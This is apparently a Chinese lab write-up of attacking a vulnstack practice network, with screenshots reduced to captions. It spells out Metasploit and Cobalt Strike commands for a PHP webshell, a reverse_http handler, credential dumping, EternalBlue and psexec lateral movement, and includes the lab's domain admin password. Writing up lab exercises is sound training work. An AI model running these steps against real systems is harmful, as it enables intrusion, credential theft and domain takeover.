记录人：drblack 靶机地址：http://./vulnstack.qiyuanxuetang.net/vuln/

靶机环境

mac：cs-client端 192.168.3.8

kali：cs-serve端：192.168.3.10

web服务器：192.168.3.29 192.168.52.143

DC：192.168.52.138

pc：192.168.52.141

image-20230910163320210

外网打点

1
sudo nmap -sn 192.168.3.0/24

image-20230910133513877

1
sudo nmap -sT --min-rate 10000 -p- 192.168.3.29

image-20230910133659198

1
sudo nmap -sT -sC -O -sV -p80,135,139,192,445,1025,1026,3306,5357 192.168.3.29  #操作系统 端口信息检测

image-20230910134035236

image-20230910134245984

1
sudo nmap -sT --script=vuln -p80,135,139,192,445,1025,1026,3306,5357 192.168.3.29

image-20230910135146830

目录扫描结果如下

image-20230910134637651

phpmyadmin root-root可以进入

image-20230910134803310

获取shell

进入后可以看见左侧有newyxcms系统，尝试拼接路径进行访问

image-20230910134847219

找到路径根据右侧公告栏进入后台

image-20230910135319437

输入账户密码 admin 123456

image-20230910155038149

直接利用searchploit搜寻yxcms没有结果，尝试进行审计

image-20230910155313786

image-20230910155455897

模版文件此处似乎可以直接修改php文件，在layout.php此处加上一句话马，分析其可能在网站中存在的位置

image-20230910155531192

这里有几种方法，第一种去找其网站开源源码，找到文件的路径去连shell，第二种是看这个源码，如下图，其显示内容和之前首页的内容吻合，说明被index加载了，可以直接尝试连index试试

image-20230910155639882

连接成功

image-20230910155933279

image-20230910135435877

上线cs

配置监听并生成木马传到目标主机

image-20230910161115743

image-20230910161024444

运行木马文件

image-20230910161221201

cs上线

image-20230910161242416

内网

内网信息搜集

1
shell whoami

image-20230910161520774

1
shell net view

image-20230910161548431

查看本机ip，发现是双网卡机器。存在内网网段192.168.52.0/24

image-20230910161626825

运用插件扫描网段，探测存活主机

image-20230910161756925

有效的是143（本机），138和141，上面的52.1是网卡，52.2不知道是什么情况，后面搞明白了回来更正。

image-20230910161927021

通过CS联动MSF

msf操作

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.3.8
set lport 4444
run

image-20230909191340583

cs创建listener

image-20230909191303057

spawn

image-20230909191536597

选择设置的msf监听

image-20230909191552795

msf监听到会话，成功从cs反弹到msf

image-20230909191639699

1
chcp 65001  #msf改编码

添加路由

1
run post/multi/manage/autoroute

image-20230909210043499

拿域控（多方法）

CS+传递攻击

利用mimikatz抓取本地密码，因为目前的用户是god\administrator为域管理员，所以可以通过传递攻击直接拿下域控

image-20230910162319348

junp-psexec选择攻击方式，设置监听

image-20230910162439061

image-20230910162546362

可以看见上线了域控

image-20230910162626624

image-20230910162819593

MSF+ms17_010

漏洞检测

1
2
3
4
use auxiliary/scanner/smb/smb_ms17_010 #扫描是否存在漏洞
show options
set rhosts 192.168.52.138 #设置目标机器
run

image-20230909210343647

image-20230909210446027

根据结果显示目标机器存在永恒之蓝

image-20230909210459951

漏洞利用

1
2
3
4
use exploit/windwos/smb/ms17_010_eternalblue
set rhosts 192.168.52.138
set lport 1111
run

image-20230910093521668

此处有两个问题：

1.为什么第一次bind 192.168.3.8:1111失败，然后去连接0.0.0.0:1111（应该是广播吧）又能够成功连接到3.8（端口不存在占用）

2.为什么会创建几十个sessions

image-20230910093540302

由于出现了上述问题，利用ms1701_psexec模块进行攻击

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.52.138
set lport 1111
run

image-20230910093458451

攻击成功并成功建立会话

image-20230910093807472

MSF+票据传递攻击

账户是god\administrater

image-20230910094457244

1
getsystem #提权

方便后续操作

1
net group "domain admins" /domain #查看域内管理员

image-20230910094937744

可以看到 GOD\Administrator是我们的域管理员，那可以直接利用其令牌进行横向移动

1
2
为什么可以 dir \\owa\c$
而不能 dir \\liukaifeng01\c$  失败

密码抓取

使用kiwi抓取本地密码

1
2
load kiwi
creds_all

可以发现无法抓取成功，因为是x86(32位)进程不能抓去64位的机器，需要进行进程迁移image-20230910112035383

1
ps #列出当前进程

image-20230910112149725

1
migrate 进程号 #窃取令牌

image-20230910112224814

因为之前修改了密码，所以进行了打码，可以看见成功抓取了本地administrator的密码

攻击利用

1
2
3
4
5
6
use exploit/windwos/smb/psexec
set rhosts 192.168.52.138
set smbdomain god
set smbpass hongrisec@2019
set lport 3333
run

image-20230910101125898

image-20230910101146601

成功拿下域控